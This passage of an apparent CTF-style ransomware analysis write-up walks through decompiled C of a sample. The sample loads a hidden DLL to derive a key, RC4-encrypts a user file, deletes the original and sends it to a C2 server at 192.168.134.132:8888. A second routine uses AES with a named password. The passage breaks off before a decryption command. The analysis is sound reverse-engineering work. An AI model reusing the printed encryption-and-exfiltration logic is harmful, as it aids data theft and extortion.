<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kt">int</span> <span class="kr">__fastcall</span> <span class="nf">main</span><span class="p">(</span><span class="kt">int</span> <span class="n">argc</span><span class="p">,</span> <span class="k">const</span> <span class="kt">char</span> <span class="o">**</span><span class="n">argv</span><span class="p">,</span> <span class="k">const</span> <span class="kt">char</span> <span class="o">**</span><span class="n">envp</span><span class="p">)</span>
<span class="p">{</span>
  <span class="kt">void</span> <span class="o">*</span><span class="n">Block</span><span class="p">;</span> <span class="c1">// [rsp+28h] [rbp-8h]</span>

  <span class="n">_main</span><span class="p">();</span>
  <span class="n">Block</span> <span class="o">=</span> <span class="p">(</span><span class="kt">void</span> <span class="o">*</span><span class="p">)</span><span class="n">sub_1860</span><span class="p">();</span>
  <span class="k">if</span> <span class="p">(</span> <span class="o">!</span><span class="n">Block</span> <span class="p">)</span>
    <span class="k">return</span> <span class="o">-</span><span class="mi">1</span><span class="p">;</span>
  <span class="k">if</span> <span class="p">(</span> <span class="p">(</span><span class="kt">unsigned</span> <span class="kt">int</span><span class="p">)</span><span class="n">sub_1DE1</span><span class="p">(</span><span class="n">Block</span><span class="p">)</span> <span class="o">||</span> <span class="p">(</span><span class="kt">unsigned</span> <span class="kt">int</span><span class="p">)</span><span class="n">sub_1FB3</span><span class="p">()</span> <span class="p">)</span>
  <span class="p">{</span>
    <span class="n">free</span><span class="p">(</span><span class="n">Block</span><span class="p">);</span>
    <span class="k">return</span> <span class="o">-</span><span class="mi">1</span><span class="p">;</span>
  <span class="p">}</span>
  <span class="k">else</span>
  <span class="p">{</span>
    <span class="n">free</span><span class="p">(</span><span class="n">Block</span><span class="p">);</span>
    <span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
  <span class="p">}</span>
<span class="p">}</span>
</code></pre></div></div>

<p>The function <code class="language-plaintext highlighter-rouge">_main()</code> is used only to initialize a static variable named <code class="language-plaintext highlighter-rouge">initialized</code> to <code class="language-plaintext highlighter-rouge">1</code>.</p>

<p>More interesting is the function <code class="language-plaintext highlighter-rouge">sub_1860()</code>:</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kt">void</span> <span class="o">*</span><span class="nf">sub_1860</span><span class="p">()</span>
<span class="p">{</span>
  <span class="kt">void</span> <span class="o">*</span><span class="n">v1</span><span class="p">;</span> <span class="c1">// [rsp+28h] [rbp-58h]</span>
  <span class="kt">void</span> <span class="o">*</span><span class="n">Buffer</span><span class="p">;</span> <span class="c1">// [rsp+30h] [rbp-50h]</span>
  <span class="kt">int</span> <span class="n">v3</span><span class="p">;</span> <span class="c1">// [rsp+3Ch] [rbp-44h]</span>
  <span class="kt">FILE</span> <span class="o">*</span><span class="n">Stream</span><span class="p">;</span> <span class="c1">// [rsp+40h] [rbp-40h]</span>
  <span class="n">FARPROC</span> <span class="n">ProcAddress</span><span class="p">;</span> <span class="c1">// [rsp+48h] [rbp-38h]</span>
  <span class="n">FARPROC</span> <span class="n">pget_result_bytes</span><span class="p">;</span> <span class="c1">// [rsp+58h] [rbp-28h]</span>
  <span class="kt">void</span> <span class="o">*</span><span class="n">Src</span><span class="p">;</span> <span class="c1">// [rsp+60h] [rbp-20h]</span>
  <span class="n">FARPROC</span> <span class="n">pgen_from_file</span><span class="p">;</span> <span class="c1">// [rsp+68h] [rbp-18h]</span>
  <span class="kt">void</span> <span class="o">*</span><span class="n">Block</span><span class="p">;</span> <span class="c1">// [rsp+70h] [rbp-10h]</span>
  <span class="n">HMODULE</span> <span class="n">hlibgen</span><span class="p">;</span> <span class="c1">// [rsp+78h] [rbp-8h]</span>

  <span class="n">hlibgen</span> <span class="o">=</span> <span class="n">LoadLibraryA</span><span class="p">(</span><span class="s">"C:</span><span class="se">\\</span><span class="s">Users</span><span class="se">\\</span><span class="s">Huynh Quoc Ky</span><span class="se">\\</span><span class="s">Downloads</span><span class="se">\\</span><span class="s">Ransomware</span><span class="se">\\</span><span class="s">libgen.dll"</span><span class="p">);</span>
  <span class="k">if</span> <span class="p">(</span> <span class="o">!</span><span class="n">hlibgen</span> <span class="p">)</span>
    <span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
  <span class="n">Block</span> <span class="o">=</span> <span class="n">malloc</span><span class="p">(</span><span class="mh">0x20u</span><span class="p">);</span>
  <span class="k">if</span> <span class="p">(</span> <span class="o">!</span><span class="n">Block</span> <span class="p">)</span>
  <span class="p">{</span>
    <span class="n">FreeLibrary</span><span class="p">(</span><span class="n">hlibgen</span><span class="p">);</span>
    <span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
  <span class="p">}</span>
  <span class="n">pgen_from_file</span> <span class="o">=</span> <span class="n">GetProcAddress</span><span class="p">(</span><span class="n">hlibgen</span><span class="p">,</span> <span class="s">"gen_from_file"</span><span class="p">);</span>
  <span class="k">if</span> <span class="p">(</span> <span class="n">pgen_from_file</span> <span class="p">)</span>
  <span class="p">{</span>
    <span class="n">Src</span> <span class="o">=</span> <span class="p">(</span><span class="kt">void</span> <span class="o">*</span><span class="p">)((</span><span class="n">__int64</span> <span class="p">(</span><span class="kr">__fastcall</span> <span class="o">*</span><span class="p">)(</span><span class="k">const</span> <span class="kt">char</span> <span class="o">*</span><span class="p">))</span><span class="n">pgen_from_file</span><span class="p">)(</span><span class="s">"anonymous"</span><span class="p">);</span>
    <span class="k">if</span> <span class="p">(</span> <span class="n">Src</span> <span class="p">)</span>
    <span class="p">{</span>
      <span class="n">memcpy</span><span class="p">(</span><span class="n">Block</span><span class="p">,</span> <span class="n">Src</span><span class="p">,</span> <span class="mh">0x20u</span><span class="p">);</span>
      <span class="n">FreeLibrary</span><span class="p">(</span><span class="n">hlibgen</span><span class="p">);</span>
      <span class="k">return</span> <span class="n">Block</span><span class="p">;</span>
    <span class="p">}</span>
  <span class="p">}</span>
  <span class="n">pget_result_bytes</span> <span class="o">=</span> <span class="n">GetProcAddress</span><span class="p">(</span><span class="n">hlibgen</span><span class="p">,</span> <span class="s">"get_result_bytes"</span><span class="p">);</span>
  <span class="k">if</span> <span class="p">(</span> <span class="n">pget_result_bytes</span> <span class="o">&amp;&amp;</span> <span class="p">((</span><span class="kt">int</span> <span class="p">(</span><span class="kr">__fastcall</span> <span class="o">*</span><span class="p">)(</span><span class="kt">void</span> <span class="o">*</span><span class="p">,</span> <span class="n">__int64</span><span class="p">))</span><span class="n">pget_result_bytes</span><span class="p">)(</span><span class="n">Block</span><span class="p">,</span> <span class="mi">32</span><span class="p">)</span> <span class="o">&gt;</span> <span class="mi">0</span> <span class="p">)</span>
  <span class="p">{</span>
    <span class="n">FreeLibrary</span><span class="p">(</span><span class="n">hlibgen</span><span class="p">);</span>
    <span class="k">return</span> <span class="n">Block</span><span class="p">;</span>
  <span class="p">}</span>
  <span class="n">ProcAddress</span> <span class="o">=</span> <span class="n">GetProcAddress</span><span class="p">(</span><span class="n">hlibgen</span><span class="p">,</span> <span class="s">"gen"</span><span class="p">);</span>
  <span class="k">if</span> <span class="p">(</span> <span class="n">ProcAddress</span> <span class="p">)</span>
  <span class="p">{</span>
    <span class="n">Stream</span> <span class="o">=</span> <span class="n">fopen</span><span class="p">(</span><span class="s">"anonymous"</span><span class="p">,</span> <span class="s">"rb"</span><span class="p">);</span>
    <span class="k">if</span> <span class="p">(</span> <span class="n">Stream</span> <span class="p">)</span>
    <span class="p">{</span>
      <span class="n">fseek</span><span class="p">(</span><span class="n">Stream</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="mi">2</span><span class="p">);</span>
      <span class="n">v3</span> <span class="o">=</span> <span class="n">ftell</span><span class="p">(</span><span class="n">Stream</span><span class="p">);</span>
      <span class="n">rewind</span><span class="p">(</span><span class="n">Stream</span><span class="p">);</span>
      <span class="k">if</span> <span class="p">(</span> <span class="n">v3</span> <span class="o">&gt;</span> <span class="mi">0</span> <span class="p">)</span>
      <span class="p">{</span>
        <span class="n">Buffer</span> <span class="o">=</span> <span class="n">malloc</span><span class="p">(</span><span class="n">v3</span><span class="p">);</span>
        <span class="k">if</span> <span class="p">(</span> <span class="n">Buffer</span> <span class="p">)</span>
        <span class="p">{</span>
          <span class="n">fread</span><span class="p">(</span><span class="n">Buffer</span><span class="p">,</span> <span class="mi">1u</span><span class="p">,</span> <span class="n">v3</span><span class="p">,</span> <span class="n">Stream</span><span class="p">);</span>
          <span class="n">v1</span> <span class="o">=</span> <span class="p">(</span><span class="kt">void</span> <span class="o">*</span><span class="p">)((</span><span class="n">__int64</span> <span class="p">(</span><span class="kr">__fastcall</span> <span class="o">*</span><span class="p">)(</span><span class="kt">void</span> <span class="o">*</span><span class="p">,</span> <span class="n">_QWORD</span><span class="p">))</span><span class="n">ProcAddress</span><span class="p">)(</span><span class="n">Buffer</span><span class="p">,</span> <span class="n">v3</span><span class="p">);</span>
          <span class="k">if</span> <span class="p">(</span> <span class="n">v1</span> <span class="p">)</span>
          <span class="p">{</span>
            <span class="n">memcpy</span><span class="p">(</span><span class="n">Block</span><span class="p">,</span> <span class="n">v1</span><span class="p">,</span> <span class="mh">0x20u</span><span class="p">);</span>
            <span class="n">free</span><span class="p">(</span><span class="n">Buffer</span><span class="p">);</span>
            <span class="n">fclose</span><span class="p">(</span><span class="n">Stream</span><span class="p">);</span>
            <span class="n">FreeLibrary</span><span class="p">(</span><span class="n">hlibgen</span><span class="p">);</span>
            <span class="k">return</span> <span class="n">Block</span><span class="p">;</span>
          <span class="p">}</span>
          <span class="n">free</span><span class="p">(</span><span class="n">Buffer</span><span class="p">);</span>
        <span class="p">}</span>
      <span class="p">}</span>
      <span class="n">fclose</span><span class="p">(</span><span class="n">Stream</span><span class="p">);</span>
    <span class="p">}</span>
  <span class="p">}</span>
  <span class="n">free</span><span class="p">(</span><span class="n">Block</span><span class="p">);</span>
  <span class="n">FreeLibrary</span><span class="p">(</span><span class="n">hlibgen</span><span class="p">);</span>
  <span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>

<p>Here, the first thing this function does is to load the DLL <code class="language-plaintext highlighter-rouge">libgen.dll</code> using <code class="language-plaintext highlighter-rouge">LoadLibraryA()</code>. Indeed, this DLL does not compare in the <code class="language-plaintext highlighter-rouge">.idata</code> section of the PE, maybe as an attempt to hide it from a first and quick inspection:</p>

<p><img src="/assets/crackmes_ransomware/idata.png" alt="Import Directory Table" /></p>

<p>Then, a buffer <code class="language-plaintext highlighter-rouge">Block</code> of <code class="language-plaintext highlighter-rouge">0x20</code> (32) bytes is created.</p>

<p>Before diving in to the logic of the function, it is worth noting that 3 different functions of <code class="language-plaintext highlighter-rouge">libgen.dll</code> are called:</p>

<ul>
  <li><code class="language-plaintext highlighter-rouge">gen_from_file()</code> passing <code class="language-plaintext highlighter-rouge">anonymous</code> as argument</li>
  <li><code class="language-plaintext highlighter-rouge">get_result_bytes()</code> passing <code class="language-plaintext highlighter-rouge">Block</code> and its size as arguments</li>
  <li><code class="language-plaintext highlighter-rouge">gen()</code> passing a <code class="language-plaintext highlighter-rouge">Buffer</code> and its size (<code class="language-plaintext highlighter-rouge">v3</code>) as argument</li>
</ul>

<p><code class="language-plaintext highlighter-rouge">anonymous</code> is the same name of the file contained in the GET request in the <code class="language-plaintext highlighter-rouge">RecordUser.pcapng</code> file, maybe they’re the same files.</p>

<p>In addition, <code class="language-plaintext highlighter-rouge">Buffer</code> passed as argument to <code class="language-plaintext highlighter-rouge">gen()</code> contains the content of this <code class="language-plaintext highlighter-rouge">anonymous</code> file, since its pointer is stored inside the <code class="language-plaintext highlighter-rouge">Stream</code> variable and then read into <code class="language-plaintext highlighter-rouge">Buffer</code>.</p>

<p>Function <code class="language-plaintext highlighter-rouge">sub_1860()</code>’s logic is the following:</p>

<ul>
  <li>Loads <code class="language-plaintext highlighter-rouge">libgen.dll</code></li>
  <li>Calls <code class="language-plaintext highlighter-rouge">gen_from_file()</code> with string <code class="language-plaintext highlighter-rouge">anonymous</code> as argument
    <ul>
      <li>If the returned buffer is valid, it is copied in <code class="language-plaintext highlighter-rouge">Block</code> and returned it</li>
    </ul>
  </li>
</ul>

<p>Otherwise:</p>

<ul>
  <li>Calls <code class="language-plaintext highlighter-rouge">get_result_bytes()</code> passing <code class="language-plaintext highlighter-rouge">Block</code> and its size as argument
    <ul>
      <li>If the return value of the function is greater than <code class="language-plaintext highlighter-rouge">0</code>, <code class="language-plaintext highlighter-rouge">Block</code> is returned</li>
    </ul>
  </li>
</ul>

<p>Otherwise:</p>

<ul>
  <li>Calls <code class="language-plaintext highlighter-rouge">gen()</code> passing <code class="language-plaintext highlighter-rouge">Buffer</code> (which holds <code class="language-plaintext highlighter-rouge">anonysmous</code> file content) and its file as argument
    <ul>
      <li>If the buffer returned is valid, it is copied in to <code class="language-plaintext highlighter-rouge">Block</code> and then returned it</li>
    </ul>
  </li>
</ul>

<p>Otherwise the function returns <code class="language-plaintext highlighter-rouge">0</code>.</p>

<p>At this point, the content of <code class="language-plaintext highlighter-rouge">libgen.dll</code> is unknown, so it is impossible to say exactly what the three functions do. So, let’s move on to the rest of <code class="language-plaintext highlighter-rouge">main()</code> function.</p>

<p>If <code class="language-plaintext highlighter-rouge">Block</code> returned by <code class="language-plaintext highlighter-rouge">sub_1860()</code> is valid, then 2 functions are called:</p>

<ul>
  <li><code class="language-plaintext highlighter-rouge">sub_1DE1(Block)</code></li>
  <li><code class="language-plaintext highlighter-rouge">sub_1FB3()</code></li>
</ul>

<h2 id="encryption-and-sending-personal-file---sub_1de1">Encryption and Sending Personal File - sub_1DE1()</h2>
<p>This function encrypts the file <code class="language-plaintext highlighter-rouge">C:\ProgramData\Important\user.html</code> to <code class="language-plaintext highlighter-rouge">C:\ProgramData\Important\user.html.enc</code> using RC4<sup id="fnref:2" role="doc-noteref"><a href="#fn:2" class="footnote" rel="footnote">2</a></sup> and then sends it to C2 server, deleting the original and in clear text file. Here’s the decompiled code:</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">__int64</span> <span class="kr">__fastcall</span> <span class="nf">sub_1DE1</span><span class="p">(</span><span class="kt">char</span> <span class="o">*</span><span class="n">a1</span><span class="p">)</span>
<span class="p">{</span>
  <span class="kt">FILE</span> <span class="o">*</span><span class="n">v2</span><span class="p">;</span> <span class="c1">// [rsp+38h] [rbp-28h]</span>
  <span class="kt">char</span> <span class="o">*</span><span class="n">v3</span><span class="p">;</span> <span class="c1">// [rsp+40h] [rbp-20h]</span>
  <span class="kt">void</span> <span class="o">*</span><span class="n">v4</span><span class="p">;</span> <span class="c1">// [rsp+48h] [rbp-18h]</span>
  <span class="kt">int</span> <span class="n">v5</span><span class="p">;</span> <span class="c1">// [rsp+54h] [rbp-Ch]</span>
  <span class="kt">FILE</span> <span class="o">*</span><span class="n">Stream</span><span class="p">;</span> <span class="c1">// [rsp+58h] [rbp-8h]</span>

  <span class="n">Stream</span> <span class="o">=</span> <span class="n">fopen</span><span class="p">(</span><span class="s">"C:</span><span class="se">\\</span><span class="s">ProgramData</span><span class="se">\\</span><span class="s">Important</span><span class="se">\\</span><span class="s">user.html"</span><span class="p">,</span> <span class="s">"rb"</span><span class="p">);</span>
  <span class="k">if</span> <span class="p">(</span> <span class="o">!</span><span class="n">Stream</span> <span class="p">)</span>
    <span class="k">return</span> <span class="mh">0xFFFFFFFFLL</span><span class="p">;</span>
  <span class="n">fseek</span><span class="p">(</span><span class="n">Stream</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="mi">2</span><span class="p">);</span>
  <span class="n">v5</span> <span class="o">=</span> <span class="n">ftell</span><span class="p">(</span><span class="n">Stream</span><span class="p">);</span>
  <span class="n">rewind</span><span class="p">(</span><span class="n">Stream</span><span class="p">);</span>
  <span class="n">v4</span> <span class="o">=</span> <span class="n">malloc</span><span class="p">(</span><span class="n">v5</span><span class="p">);</span>
  <span class="n">v3</span> <span class="o">=</span> <span class="p">(</span><span class="kt">char</span> <span class="o">*</span><span class="p">)</span><span class="n">malloc</span><span class="p">(</span><span class="n">v5</span><span class="p">);</span>
  <span class="k">if</span> <span class="p">(</span> <span class="n">v4</span> <span class="o">&amp;&amp;</span> <span class="n">v3</span> <span class="p">)</span>
  <span class="p">{</span>
    <span class="n">fread</span><span class="p">(</span><span class="n">v4</span><span class="p">,</span> <span class="mi">1u</span><span class="p">,</span> <span class="n">v5</span><span class="p">,</span> <span class="n">Stream</span><span class="p">);</span>
    <span class="n">fclose</span><span class="p">(</span><span class="n">Stream</span><span class="p">);</span>
    <span class="n">sub_1668</span><span class="p">(</span><span class="n">a1</span><span class="p">,</span> <span class="mi">32</span><span class="p">,</span> <span class="p">(</span><span class="kt">char</span> <span class="o">*</span><span class="p">)</span><span class="n">v4</span><span class="p">,</span> <span class="n">v3</span><span class="p">,</span> <span class="n">v5</span><span class="p">);</span>
    <span class="n">v2</span> <span class="o">=</span> <span class="n">fopen</span><span class="p">(</span><span class="s">"C:</span><span class="se">\\</span><span class="s">ProgramData</span><span class="se">\\</span><span class="s">Important</span><span class="se">\\</span><span class="s">user.html.enc"</span><span class="p">,</span> <span class="s">"wb"</span><span class="p">);</span>
    <span class="k">if</span> <span class="p">(</span> <span class="n">v2</span> <span class="p">)</span>
    <span class="p">{</span>
      <span class="n">fwrite</span><span class="p">(</span><span class="n">v3</span><span class="p">,</span> <span class="mi">1u</span><span class="p">,</span> <span class="n">v5</span><span class="p">,</span> <span class="n">v2</span><span class="p">);</span>
      <span class="n">fclose</span><span class="p">(</span><span class="n">v2</span><span class="p">);</span>
      <span class="n">sub_183D</span><span class="p">(</span><span class="s">"C:</span><span class="se">\\</span><span class="s">ProgramData</span><span class="se">\\</span><span class="s">Important</span><span class="se">\\</span><span class="s">user.html"</span><span class="p">);</span>
      <span class="n">free</span><span class="p">(</span><span class="n">v4</span><span class="p">);</span>
      <span class="n">free</span><span class="p">(</span><span class="n">v3</span><span class="p">);</span>
      <span class="n">sub_1AEB</span><span class="p">(</span><span class="s">"C:</span><span class="se">\\</span><span class="s">ProgramData</span><span class="se">\\</span><span class="s">Important</span><span class="se">\\</span><span class="s">user.html.enc"</span><span class="p">);</span>
      <span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
    <span class="p">}</span>
    <span class="k">else</span>
    <span class="p">{</span>
      <span class="n">free</span><span class="p">(</span><span class="n">v4</span><span class="p">);</span>
      <span class="n">free</span><span class="p">(</span><span class="n">v3</span><span class="p">);</span>
      <span class="k">return</span> <span class="mh">0xFFFFFFFFLL</span><span class="p">;</span>
    <span class="p">}</span>
  <span class="p">}</span>
  <span class="k">else</span>
  <span class="p">{</span>
    <span class="n">fclose</span><span class="p">(</span><span class="n">Stream</span><span class="p">);</span>
    <span class="n">free</span><span class="p">(</span><span class="n">v4</span><span class="p">);</span>
    <span class="n">free</span><span class="p">(</span><span class="n">v3</span><span class="p">);</span>
    <span class="k">return</span> <span class="mh">0xFFFFFFFFLL</span><span class="p">;</span>
  <span class="p">}</span>
<span class="p">}</span>
</code></pre></div></div>

<p>From the strings passed as arguments to the called functions, it’s easy to infer that this function encrypts content. In particular, the file <code class="language-plaintext highlighter-rouge">C:\ProgramData\Important\user.html</code> is encrypted in <code class="language-plaintext highlighter-rouge">C:\ProgramData\Important\user.html.enc</code>.</p>

<p>The function <code class="language-plaintext highlighter-rouge">sub_1668()</code> takes different arguments and the first, <code class="language-plaintext highlighter-rouge">a1</code>, is the <code class="language-plaintext highlighter-rouge">Block</code> buffer created by the function <code class="language-plaintext highlighter-rouge">sub_1860()</code> previously analysed. This function calls other 2 functions and they are used to perform RC4 encryption, using the <code class="language-plaintext highlighter-rouge">Block</code> buffer as the key:</p>

<ul>
  <li><code class="language-plaintext highlighter-rouge">sub_148C()</code> prepares the S-box</li>
  <li><code class="language-plaintext highlighter-rouge">sub_1558()</code> perform the encryption</li>
</ul>

<h3 id="s-box-initialization---sub_148c">S-Box Initialization - sub_148C()</h3>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">__int64</span> <span class="kr">__fastcall</span> <span class="nf">sub_148C</span><span class="p">(</span><span class="n">__int64</span> <span class="n">a1</span><span class="p">,</span> <span class="kt">int</span> <span class="n">a2</span><span class="p">,</span> <span class="n">__int64</span> <span class="n">a3</span><span class="p">)</span>
<span class="p">{</span>
  <span class="kt">int</span> <span class="n">j</span><span class="p">;</span> <span class="c1">// [rsp+24h] [rbp-Ch]</span>
  <span class="kt">int</span> <span class="n">i</span><span class="p">;</span> <span class="c1">// [rsp+28h] [rbp-8h]</span>
  <span class="kt">int</span> <span class="n">v6</span><span class="p">;</span> <span class="c1">// [rsp+2Ch] [rbp-4h]</span>

  <span class="n">v6</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
  <span class="k">for</span> <span class="p">(</span> <span class="n">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">i</span> <span class="o">&lt;=</span> <span class="mi">255</span><span class="p">;</span> <span class="o">++</span><span class="n">i</span> <span class="p">)</span>
    <span class="o">*</span><span class="p">(</span><span class="n">_BYTE</span> <span class="o">*</span><span class="p">)(</span><span class="n">i</span> <span class="o">+</span> <span class="n">a3</span><span class="p">)</span> <span class="o">=</span> <span class="n">i</span><span class="p">;</span>
  <span class="k">for</span> <span class="p">(</span> <span class="n">j</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">j</span> <span class="o">&lt;=</span> <span class="mi">255</span><span class="p">;</span> <span class="o">++</span><span class="n">j</span> <span class="p">)</span>
  <span class="p">{</span>
    <span class="n">v6</span> <span class="o">=</span> <span class="p">(</span><span class="o">*</span><span class="p">(</span><span class="kt">unsigned</span> <span class="kr">__int8</span> <span class="o">*</span><span class="p">)(</span><span class="n">j</span> <span class="o">+</span> <span class="n">a3</span><span class="p">)</span> <span class="o">+</span> <span class="n">v6</span> <span class="o">+</span> <span class="o">*</span><span class="p">(</span><span class="kt">unsigned</span> <span class="kr">__int8</span> <span class="o">*</span><span class="p">)(</span><span class="n">j</span> <span class="o">%</span> <span class="n">a2</span> <span class="o">+</span> <span class="n">a1</span><span class="p">))</span> <span class="o">%</span> <span class="mi">256</span><span class="p">;</span>
    <span class="n">swap</span><span class="p">(</span><span class="n">j</span> <span class="o">+</span> <span class="n">a3</span><span class="p">,</span> <span class="n">a3</span> <span class="o">+</span> <span class="n">v6</span><span class="p">);</span>
  <span class="p">}</span>
  <span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>

<h3 id="rc4-encryption---sub_1558">RC4 Encryption - sub_1558()</h3>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">__int64</span> <span class="kr">__fastcall</span> <span class="nf">sub_1558</span><span class="p">(</span><span class="n">__int64</span> <span class="n">a1</span><span class="p">,</span> <span class="n">__int64</span> <span class="n">a2</span><span class="p">,</span> <span class="n">__int64</span> <span class="n">a3</span><span class="p">,</span> <span class="kt">unsigned</span> <span class="n">__int64</span> <span class="n">a4</span><span class="p">)</span>
<span class="p">{</span>
  <span class="kt">unsigned</span> <span class="n">__int64</span> <span class="n">i</span><span class="p">;</span> <span class="c1">// [rsp+30h] [rbp-10h]</span>
  <span class="kt">int</span> <span class="n">v6</span><span class="p">;</span> <span class="c1">// [rsp+38h] [rbp-8h]</span>
  <span class="kt">int</span> <span class="n">v7</span><span class="p">;</span> <span class="c1">// [rsp+3Ch] [rbp-4h]</span>

  <span class="n">v7</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
  <span class="n">v6</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
  <span class="k">for</span> <span class="p">(</span> <span class="n">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">i</span> <span class="o">&lt;</span> <span class="n">a4</span><span class="p">;</span> <span class="o">++</span><span class="n">i</span> <span class="p">)</span>
  <span class="p">{</span>
    <span class="n">v7</span> <span class="o">=</span> <span class="p">(</span><span class="n">v7</span> <span class="o">+</span> <span class="mi">1</span><span class="p">)</span> <span class="o">%</span> <span class="mi">256</span><span class="p">;</span>
    <span class="n">v6</span> <span class="o">=</span> <span class="p">(</span><span class="n">v6</span> <span class="o">+</span> <span class="o">*</span><span class="p">(</span><span class="kt">unsigned</span> <span class="kr">__int8</span> <span class="o">*</span><span class="p">)(</span><span class="n">v7</span> <span class="o">+</span> <span class="n">a1</span><span class="p">))</span> <span class="o">%</span> <span class="mi">256</span><span class="p">;</span>
    <span class="n">swap</span><span class="p">(</span><span class="n">v7</span> <span class="o">+</span> <span class="n">a1</span><span class="p">,</span> <span class="n">a1</span> <span class="o">+</span> <span class="n">v6</span><span class="p">);</span>
    <span class="o">*</span><span class="p">(</span><span class="n">_BYTE</span> <span class="o">*</span><span class="p">)(</span><span class="n">a3</span> <span class="o">+</span> <span class="n">i</span><span class="p">)</span> <span class="o">=</span> <span class="o">*</span><span class="p">(</span><span class="n">_BYTE</span> <span class="o">*</span><span class="p">)((</span><span class="kt">unsigned</span> <span class="kr">__int8</span><span class="p">)(</span><span class="o">*</span><span class="p">(</span><span class="n">_BYTE</span> <span class="o">*</span><span class="p">)(</span><span class="n">v7</span> <span class="o">+</span> <span class="n">a1</span><span class="p">)</span> <span class="o">+</span> <span class="o">*</span><span class="p">(</span><span class="n">_BYTE</span> <span class="o">*</span><span class="p">)(</span><span class="n">v6</span> <span class="o">+</span> <span class="n">a1</span><span class="p">))</span> <span class="o">+</span> <span class="n">a1</span><span class="p">)</span>
                       <span class="o">^</span> <span class="o">*</span><span class="p">(</span><span class="n">_BYTE</span> <span class="o">*</span><span class="p">)(</span><span class="n">a2</span> <span class="o">+</span> <span class="n">i</span><span class="p">);</span>
  <span class="p">}</span>
  <span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>

<p>Once encrypted the file, the function <code class="language-plaintext highlighter-rouge">sub_183D()</code> is called to delete the original clear text file. This function is a simple wrapper of <code class="language-plaintext highlighter-rouge">DeleteFileA()</code>.</p>

<p>After that, the function <code class="language-plaintext highlighter-rouge">sub_1AEB()</code> is called passing the encrypted file name as argument. This function sends to a C2 server the content of the file. This is easily identifiable due to the presence of calls to <code class="language-plaintext highlighter-rouge">WSAStartup()</code>, <code class="language-plaintext highlighter-rouge">connect()</code>, <code class="language-plaintext highlighter-rouge">send()</code> <code class="language-plaintext highlighter-rouge">closesocket()</code> and <code class="language-plaintext highlighter-rouge">WSACleaup()</code>. It is interesting to note that this function sends even the file size before the file content:</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">if</span> <span class="p">(</span> <span class="n">connect</span><span class="p">(</span><span class="n">s</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">name</span><span class="p">,</span> <span class="mi">16</span><span class="p">)</span> <span class="o">&gt;=</span> <span class="mi">0</span> <span class="p">)</span>
    <span class="p">{</span>
        <span class="n">buf</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span> <span class="o">=</span> <span class="n">HIBYTE</span><span class="p">(</span><span class="n">len</span><span class="p">);</span>
        <span class="n">buf</span><span class="p">[</span><span class="mi">1</span><span class="p">]</span> <span class="o">=</span> <span class="n">BYTE2</span><span class="p">(</span><span class="n">len</span><span class="p">);</span>
        <span class="n">buf</span><span class="p">[</span><span class="mi">2</span><span class="p">]</span> <span class="o">=</span> <span class="n">BYTE1</span><span class="p">(</span><span class="n">len</span><span class="p">);</span>
        <span class="n">buf</span><span class="p">[</span><span class="mi">3</span><span class="p">]</span> <span class="o">=</span> <span class="n">len</span><span class="p">;</span>
        <span class="n">send</span><span class="p">(</span><span class="n">s</span><span class="p">,</span> <span class="n">buf</span><span class="p">,</span> <span class="mi">4</span><span class="p">,</span> <span class="mi">0</span><span class="p">);</span>
        <span class="n">send</span><span class="p">(</span><span class="n">s</span><span class="p">,</span> <span class="p">(</span><span class="k">const</span> <span class="kt">char</span> <span class="o">*</span><span class="p">)</span><span class="n">Buffer</span><span class="p">,</span> <span class="n">len</span><span class="p">,</span> <span class="mi">0</span><span class="p">);</span>
        <span class="n">printf</span><span class="p">(</span><span class="s">"Sent %s (%ld bytes) to server</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">a1</span><span class="p">,</span> <span class="n">len</span><span class="p">);</span>
        <span class="n">closesocket</span><span class="p">(</span><span class="n">s</span><span class="p">);</span>
        <span class="n">WSACleanup</span><span class="p">();</span>
        <span class="n">free</span><span class="p">(</span><span class="n">Buffer</span><span class="p">);</span>
        <span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
    <span class="p">}</span>
</code></pre></div></div>

<p>From the arguments of <code class="language-plaintext highlighter-rouge">connect()</code> the C2 IP and its listening port are obtained and they are <code class="language-plaintext highlighter-rouge">192.168.134.132:8888</code>, the same reported in the pcap file.</p>

<h2 id="encryption-and-sending-of-libgendll---sub_1fb3">Encryption and Sending of libgen.dll - sub_1FB3()</h2>
<p>This function is the same of the previous <code class="language-plaintext highlighter-rouge">sub_1DE1()</code> except for the file open who is <code class="language-plaintext highlighter-rouge">C:\Users\Huynh Quoc Ky\Downloads\Ransomware\libgen.dll</code> and for the encryption algorithm, who is not RC4 anymore but AES-256-ECB with the SHA256 string of <code class="language-plaintext highlighter-rouge">hackingisnotacrime</code> as password. Since this file is sent to the C2 server, it is possible to recover the missing DLL, as we’ve just discovered it is contained in a stream of the pcap file. In fact, among the streams, there is the one that contains the DLL. Once extracted the TCP data sent and removed the first 4 bytes who specified the file size, it was possible to decrypt it with the following command:</p>

